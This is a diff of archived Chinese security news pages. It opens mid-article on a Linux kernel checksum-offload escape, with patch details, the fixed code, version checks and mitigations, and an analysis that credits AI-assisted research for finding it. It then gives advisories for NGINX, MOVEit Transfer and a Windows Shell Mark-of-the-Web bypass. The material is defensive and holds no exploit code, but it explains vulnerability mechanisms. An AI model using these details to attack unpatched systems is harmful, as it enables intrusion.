<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">文件</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">函数</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">处理方式</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">net/ipv4/ip_output.c</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">ip_do_fragment()</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">返回 </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">-EINVAL</span></span><span leaf=""> → </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">goto fail</span></span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">net/bridge/netfilter/nf_conntrack_bridge.c</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">nf_br_ip_fragment()</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">goto blackhole</span></span></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">net/netfilter/nfnetlink_queue.c</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">nf_queue_checksum_help()</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">返回 </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">-EINVAL</span></span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">net/netfilter/xt_CHECKSUM.c</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">checksum_tg()</span></span></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, CLine truncated
修复后的分片路径：
.
.
.
c
if (skb->ip_summed == CHECKSUM_PARTIAL) {
　　　　　　　　err = ip_check_csum_start(skb);
　　　　　　　　if (!err)
　　　　　　　　　　　　　　　　err = skb_checksum_help(skb);
　　　　　　　　if (err)
　　　　　　　　　　　　　　　　goto fail;
}
7.2 判断自身是否受影响
.
.
.
bash
uname -r
对照 3.1 节的版本表即可判定。发行版环境应优先查各自的安全公告，而非仅依据上游 tag。需要注意发行版回移补丁时可能不改变上游版本号，已安装修复包也不等于正在运行的内核已修复，后者需要重启生效。
7.3 缓解措施
.
.
.
bash
# QEMU: 关闭不可信 guest 的校验和卸载
-device virtio-net-pci,netdev=n0,csum=off,guest_csum=off
# 关闭本地路径（会破坏 rootless 容器、Chrome / Flatpak 沙箱等）
sysctl -w user.max_user_namespaces=0
在缓解措施的有效性上，官方口径存在差异且尚未统一：CloudLinux 公告给出的措施都被描述为只是
移除一个前提
，且未经针对性验证，CageFS 这类账户级隔离覆盖不到该路径；Red Hat 则明确表示，该问题的缓解措施要么不存在，要么现有选项不满足其产品安全标准，涉及易用性与部署、适用范围广度、稳定性三项要求。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">角色</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">建议动作</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">自建 KVM / Firecracker 集群</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">优先升级宿主内核，虚拟化节点最先</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">云上业务</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">不能只等镜像更新，需向云厂商确认宿主内核状态</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">VPS 用户</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">无法从 guest 内修复宿主，确认服务商状态并备份数据</span></section></td></tr></tbody></table>
以下为分析观点，与前文事实部分分列。
∞
THE END
### 分析与启示
8.1 一个可命名的失败模式
这一类问题可以称为
延迟元数据信任反转
（deferred-metadata trust inversion）。三重信任跃迁在其中叠加：
1
**来源信任**
：低信任方描述宿主稍后要执行的操作
2
**解释信任**
：L2 到 L3 变换后按新布局重新解析
3
**时间信任**
：延迟操作改写了已被信任的字节
审计问句不应是「校验和偏移校验了吗」，而应是：每一次变换之后，延迟写入是否还能打到语义已被信任的字节。
8.2 一个关于编号的工程提醒
第 1 章那个前缀关系在工程上不是奇闻。
CVE-2026-9999
 与 
CVE-2026-99999
 是两条毫不相干的记录，前者是浏览器沙箱逃逸，后者是虚拟化逃逸，但只要有工具用前缀匹配、按固定长度截断、或用不带边界锚点的正则去过滤编号，两者就会被混作一谈。这类误伤在按编号做资产匹配、白名单放行、告警抑制的场景里是实打实的风险。
同一前缀在相邻年份反复出现，说明这不是某个 CNA 的疏忽，而是编号长度可变这一设计选择的必然副产品。可行的做法很朴素：把编号当作带边界的完整标识符处理，不做前缀推断，不按位数截断。
8.3 补丁是纵深防御而非根治
上游提交说明已明确，入口侧的更完整校验尚未合入。因此同类变体，包括其他协议、其他 sink、IPv6 与隧道场景，仍需持续关注。研究者亦提到，除文档化的路径外还发现了其他多种可触达同一缺陷的路径。对防守方而言，判断一次系统是否受影响的成本并不高，困难在于
判断哪些系统「可能」受影响
。
8.4 研究节奏与成本结构的变化
这次研究有两个值得记录的量化事实。其一是速度：挑战赛开赛第 3 天即定位到原语，全程依赖名为 Omega-Pwn 的研究框架，以 GPT-5.6 Sol 作为主要推理引擎，pwn.ai 自述 API token 消耗
不足 700 美元
。其二是规模：两周 1,285 份报告、其中 877 份重复，Vercel 将这一体量归因于研究者以 AI 速度展开狩猎。
两个数字放在一起，指向同一件事：审计内核级遗留代码的边际成本正在快速下降。
这对防守方而言，把分诊能力与信任边界建模能力放在与补丁同等的位置，只会越来越必要。
本文仅用于漏洞原理学习与自有隔离环境测试，所有实验应在自有且隔离的环境中进行。
![](https://mmbiz.qpic.cn/mmbiz_png/apNprpz3YS4ibIBPcmgJMLNXWIaCPcW54mVicYJkaOO1JQicEDBGCBM1P7IiaiablZ9tEUrP27FyvB9CZWl5SiaqhicDw/640?wx_fmt=png "")
END
我是 网络安全透视镜。
如果你觉得今天这篇有收获，欢迎**点赞、在看、转发**
三连，我们下篇见。
中转站：https://all-in-ai.site
doc/2026-10/F5 紧急修复多个 NGINX 高危漏洞.md
+92
View File
@@ -0,0 +1,92 @@
# F5 紧急修复多个 NGINX 高危漏洞
Sergiu Gatlan
Sergiu Gatlan 代码卫士 2026-10-20 08:08
![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "")
  
聚焦源代码安全，网罗国内外最新资讯！
编译：代码卫士
**F5****已发布带外安全补丁，以修复多个****NGINX Web****服务器漏洞，其中三个是严重级别，可用于在受影响的系统上执行代码。**
这三个严重漏洞分别存在于 ngx_http_v3_module（CVE-2026-15176 和 CVE-2026-97205）以及 NGINX map 指令 (CVE-2026-93479) 中。未获权限的远程攻击者可利用这些漏洞发起拒绝服务攻击，或在采用非默认配置的 NGINX 系统上获得代码执行能力。
成功利用这些漏洞会导致 NGINX 工作进程中出现基于堆的缓冲区溢出或释放后使用，从而引发崩溃或重启。不过，攻击者也可能“在地址空间布局随机化 (ASLR) 被禁用，或攻击者能够绕过 ASLR 的情况下执行代码”。
F5 为受这两个漏洞影响的多个 NGINX 软件产品发布了补丁，包括 NGINX Plus、NGINX 开源版、NGINX Ingress Controller、NGINX Gateway Fabric 和 NGINX Instance Manager。
如安全团队和管理员无法立即安装这些安全补丁，则可以通过不在 location 块中使用 alias 指令或 $request_filename 变量来缓解 CVE-2026-15176，并通过禁用异步文件 I/O (AIO) 或服务器端包含 (SSI) 来缓解 CVE-2026-97205。CVE-2026-93479 也可以通过使用命名捕获而非未命名捕获，并将其使用限制在带有正则匹配的块中来缓解。
尽管 F5 尚未将这些安全问题标记为已遭在野利用，但近年来网络犯罪和国家背景的威胁组织经常利用 F5 产品中的漏洞。例如，攻击者曾利用 F5 安全漏洞入侵企业网络、探测内部服务器、劫持设备、部署数据擦除恶意软件，并从全球受害者处窃取敏感文件。自 2021 年 11 月以来，美国网络安全和基础设施安全局（CISA）已将八个 F5 漏洞标记为正在被积极利用，其中四个还被用于勒索软件攻击。一年前，即 2025 年 10 月，F5 还披露称，国家支持的威胁组织于 2025 年 8 月入侵了其系统，窃取了源代码以及有关未披露的 BIG-IP 安全漏洞的信息。
F5 是一家财富 500 强科技公司，为超过 23000 家客户提供网络安全、应用交付网络 (AND) 等服务，客户包括 80% 的财富全球 500 强企业和 48 家财富50 强企业。
代码卫士试用地址：https://sast.qianxin.com/
开源卫士试用地址：https://oss.qianxin.com/
**推荐阅读**
[CISA要求三天内修复这个严重的 F5 BIG-IP 漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525571&idx=1&sn=3596dc720ddc3cfdb3245a4b7597f249&scene=21#wechat_redirect)
[F5 BIG-IP 源代码和 0day 漏洞数据遭泄露，补丁已发布](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524194&idx=1&sn=ab0b13f163b9168171ef5effd17379be&scene=21#wechat_redirect)
[F5 BIG-IP 修复高危提权漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521146&idx=1&sn=9082baa037a6e59fedb1cd685658ae1c&scene=21#wechat_redirect)
[已存在15年之久的 NGINX 漏洞可导致RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526682&idx=1&sn=7610fee3a9f96ecb3c9e96f04db49188&scene=21#wechat_redirect)
[NGINX Open Source 中存在两个可导致RCE的严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526334&idx=1&sn=e353058df9e3673f97b4cec3ed0de092&scene=21#wechat_redirect)
**原文链接**
https://www.bleepingcomputer.com/news/security/f5-releases-out-of-band-patches-for-critical-nginx-vulnerabilities/
题图：Pixa
b
ay Licens
e
**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "")
**奇安信代码卫士 (codesafe)**
国内首个专注于软件开发安全的产品线。
   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "")
![]( "")
![]( "")
 
觉得不错，就点个 “
在看
” 或 "
赞
” 
doc/2026-10/Progress 修复12个MOVEit Transfer 高危漏洞.md
+231
View File
@@ -0,0 +1,231 @@
# Progress 修复12个MOVEit Transfer 高危漏洞
Do Son
Do Son 代码卫士 2026-10-20 08:08
![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "")
  
聚焦源代码安全，网罗国内外最新资讯！
编译：代码卫士
**Progress Software****公司于****2026****年****10****月****14****日披露了****MOVEit Transfer****中的****12****个高危漏洞。这些漏洞可在托管文件传输环境中导致身份验证绕过、****SQL****注入、跨站脚本和本地权限提升后果。因此，系统管理员必须立即升级，防止未经授权的系统访问。**
MOVEit Transfer 
是一款企业托管文件传输
 (MFT) 
解决方案，供全球数千家组织用来传输敏感数据。虽然公告中未说明确切的受影响安装数量，但
 MFT 
服务器始终是勒索软件和数据勒索团伙的主要目标。
该安全公告提到，成功利用这些
 MOVEit Transfer 
漏洞可使攻击者绕过登录控制、提升权限或操纵数据库查询。目前尚无公开的概念验证，也未确认存在在野积极利用。
![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfVOGdjUnEkpic9u9kPtVz4dibeRtbsF6u2NaNywPzWcP65lJrIjcqFctNy2hv1M4E9etm8MhFBGSnZUBQgdC9aLvzR7lpfkmj540/640?wx_fmt=gif&from=appmsg "")
**攻击原理**
![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfUT7q8vmu3ng5gjBt2IsnaVKrkAMGX7ofduuuAhY4ACyXPiaNLwI8aRfP9g1LNyN46bV1noyy3APyAMsseCD5bbFQOvGtk2MEcA/640?wx_fmt=gif&from=appmsg "")
这
12
个缺陷涉及多个核心组件，包括
 LDAP
、
OIDC
、
SFTP
、
Ad Hoc
、自定义报表和客户端证书模块。
**（****1****）身份验证绕过与访问控制缺陷**
首先，有两个漏洞的
 CVSS v3.1 
基础评分最高，为
 8.8
。
CVE-2026-89067 (CWE-288) 
允许低权限远程攻击者使用替代路径或通道绕过
 Secure Messaging 
中的身份验证。同时，
CVE-2026-87093  (CWE-732) 
源于关键服务目录上的权限分配不当，允许本地用户提升权限。
其次，
CVE-2026-89068
（
CVSS 8.1
）在
 LDAP 
模块中遗漏了关键的身份验证步骤（
CWE-304
），允许未经身份验证的网络攻击者入侵服务器。此外，
CVE-2026-89070
（
CVSS 7.5
）允许通过
 OIDC 
模块中的捕获重放攻击绕过身份验证。在
 SFTP 
模块中，
CVE-2026-89077
（
CVSS 7.5
）引入了不正确的身份验证算法实现，而
 CVE-2026-89072
（
CVSS 7.5
）导致客户端证书模块中的授权不正确。
**（****2****）注入与会话管理缺陷**
其他几个缺陷针对输入验证和数据存储。具体而言，
CVE-2026-89069
（
CVSS 8.0
）是
 Ad Hoc 
模块中的跨站脚本（
XSS
）缺陷。类似地，
CVE-2026-89071
（
CVSS 7.5
）可导致
 LDAP 
注入，
CVE-2026-89076
（
CVSS 7.2
）允许高权限攻击者在自定义报表模块中执行
 SQL 
注入攻击。最后，
Progress 
修复了会话过期不足（
CVE-2026-89073
）、
Unicode 
编码处理不当（
CVE-2026-89074
）以及敏感数据存储不安全（
CVE-2026-89075
）的问题。
![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfX3vj9u0ed9wPAvXTDch8T13JUwT2dibSEwX2DXm4PibONe9uEIwQ36mmRsZIlxTFnrzrcoTlq7ibqok63JOPcVKAtPvKY2NrrMkM/640?wx_fmt=gif&from=appmsg "")
**受影响版本**
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfVKLmJpib5sKVDya0x1iaibtz2Y2ytZUmyJheibvGyh9EiczvRI3M1giaagowTW48EVzLrmKHLXkDk1fVuuU8MibDwRGvEficXxibp0bajU/640?wx_fmt=gif&from=appmsg "")
所有
12
个
 MOVEit Transfer 
漏洞影响
 2025.1.6 
之前的版本，以及
 2026.0.0 
至
 2026.0.4 
之前的版本。
2025.1.6 
和
 2026.0.4 
版本不受影响。
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfUChvjrgnMicnoeErAJZL5fiaeW11KIibOJLqxmj8mFbevT75LpUyRqgGF8ib3y8bLKEPgElJ3UiahP6u3Vta91OP57L7NoeL4k1tpc/640?wx_fmt=gif&from=appmsg "")
**补丁与缓解步骤**
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfUNz9SGXKNLWjZ7lNibLQRLIicawGh26yRlgoYlRMEgy8wDtxR7VXMia8nicMQPFvAiaibiaMREIUaDMnUpNxtxV6miaxc4ibA935VyhmdM/640?wx_fmt=gif&from=appmsg "")
Progress Software 
在
 MOVEit Transfer 2025.1.6 
和
 2026.0.4 
版本中修复了全部
12
个漏洞。管理员应立即从
 Progress Community 
门户下载并应用相应的修复版本。此外，安全团队应审计本地服务器目录权限，并仅限可信网络访问管理控制台。
代码卫士试用地址：https://sast.qianxin.com/
开源卫士试用地址：https://oss.qianxin.com/
**推荐阅读**
[Progress：存在可信外部威胁，ShareFile 管理员需立即关闭服务器](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526606&idx=2&sn=92be8299dea05a32e51baa1cad82b509&scene=21#wechat_redirect)
[Progress 提醒注意严重的 MOVEit 自动化认证绕过漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525932&idx=1&sn=cf1d9580501b94ce494712fa2e09e95c&scene=21#wechat_redirect)
[Progress ShareFile 漏洞可用于发动预认证 RCE 攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525643&idx=2&sn=46f21b64114594cdb5db7473129e09a8&scene=21#wechat_redirect)
[MOVEit Transfer 软件中存在高危的认证不当漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519884&idx=1&sn=6407cbe53c48d873acacc653dceafd9b&scene=21#wechat_redirect)
**原文链接**
https://securityonline.info/progress-patches-moveit-transfer-vulnerabilities/
题图：Pixa
b
ay Licens
e
**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "")
**奇安信代码卫士 (codesafe)**
国内首个专注于软件开发安全的产品线。
   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "")
![]( "")
![]( "")
 
觉得不错，就点个 “
在看
” 或 "
赞
” 
doc/2026-10/【漏洞通告】Windows Shell 安全功能绕过漏洞（CVE-2026-96951).md
+100
View File
@@ -0,0 +1,100 @@
# 【漏洞通告】Windows Shell 安全功能绕过漏洞（CVE-2026-96951)
启明星辰安全简讯 2026-10-20 08:32
### 一、漏洞概述
<table><tbody style="visibility: visible;"><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-width: 2.25pt 1.5pt 1.5pt 2.25pt; border-color: windowtext; border-style: solid; background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, &#34;sans-serif&#34;; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞名称<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top: 2.25pt solid windowtext; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">Windows Shell 安全功能绕过漏洞</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, &#34;sans-serif&#34;; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">CVE ID<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top:none;border-left:none;border-bottom: 1.5pt solid windowtext;border-right:2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">CVE-2026-96951</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, &#34;sans-serif&#34;; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞类型<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, &#34;sans-serif&#34;; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">安全功能绕过<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, &#34;sans-serif&#34;; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">发现时间<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;background: rgb(222, 234, 246); padding: 0cmLine truncated
Microsoft Windows是微软公司开发的操作系统，广泛应用于个人计算机、企业办公终端及各类业务环境，提供文件管理、应用程序运行、网络通信和系统安全防护等功能。Windows Shell是Windows操作系统的重要组成部分，主要负责提供用户与操作系统交互的图形界面及文件操作功能，支持桌面管理、文件浏览和应用程序启动等操作。
2026年10月20日，启明星辰安全应急响应中心（VSRC）监测到Windows Shell 安全功能绕过漏洞。漏洞已被攻击者在实际攻击中利用。该漏洞可绕过Windows的网络标记（Mark of the Web，MOTW）安全防护机制，使系统无法正常向用户发出潜在不安全下载文件的警告。攻击者可通过电子邮件或即时通信工具向目标用户发送特制恶意文件或链接，诱导用户点击链接或打开附件，从而触发漏洞。成功利用可能削弱系统对恶意文件的安全防护能力，增加终端遭受恶意攻击的风险。
### 二、影响范围
Windows 11 Version 26H2（x64/ARM64）< 10.0.26300.9711
Windows 11 Version 26H1（x64/ARM64）< 10.0.28000.3231
Windows 11 Version 25H2（x64/ARM64）< 10.0.26200.9711
Windows 11 Version 24H2（x64/ARM64）< 10.0.26100.9711
Windows 11 Version 23H2（x64/ARM64）< 10.0.22631.7652
Windows 10 Version 22H2（x86/x64/ARM64）< 10.0.19045.7807
Windows 10 Version 21H2（x86/x64/ARM64）< 10.0.19044.7807
Windows 10 Version 1809（x86/x64）< 10.0.17763.9376
Windows 10 Version 1607（x86/x64）< 10.0.14393.9612
Windows Server 2025 < 10.0.26100.33650
Windows Server 2022 < 10.0.20348.5761
Windows Server 2019 < 10.0.17763.9376
Windows Server 2016 < 10.0.14393.9612
Windows Server 2012 R2 < 6.3.9600.23470
Outlook.com < 20260925.100
### 三、安全措施
3.1 升级版本
微软已于2026年10月13日发布相关安全更新，建议受影响用户及时通过Windows Update安装对应安全补丁，将系统升级至包含漏洞修复的版本。具体修复版本如下。
Windows 11 Version 26H2（x64/ARM64）>= 10.0.26300.9711
Windows 11 Version 26H1（x64/ARM64）>= 10.0.28000.3231
Windows 11 Version 25H2（x64/ARM64）>= 10.0.26200.9711
Windows 11 Version 24H2（x64/ARM64）>= 10.0.26100.9711
Windows 11 Version 23H2（x64/ARM64）>= 10.0.22631.7652
Windows 10 Version 22H2（x86/x64/ARM64）>= 10.0.19045.7807
Windows 10 Version 21H2（x86/x64/ARM64）>= 10.0.19044.7807
Windows 10 Version 1809（x86/x64）>= 10.0.17763.9376
Windows 10 Version 1607（x86/x64）>= 10.0.14393.9612
Windows Server 2025 >= 10.0.26100.33650
Windows Server 2022 >= 10.0.20348.5761
Windows Server 2019 >= 10.0.17763.9376
Windows Server 2016 >= 10.0.14393.9612
Windows Server 2012 R2 >= 6.3.9600.23470
Outlook.com >= 20260925.100
下载链接：
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96951/
3.2 临时措施
暂无。
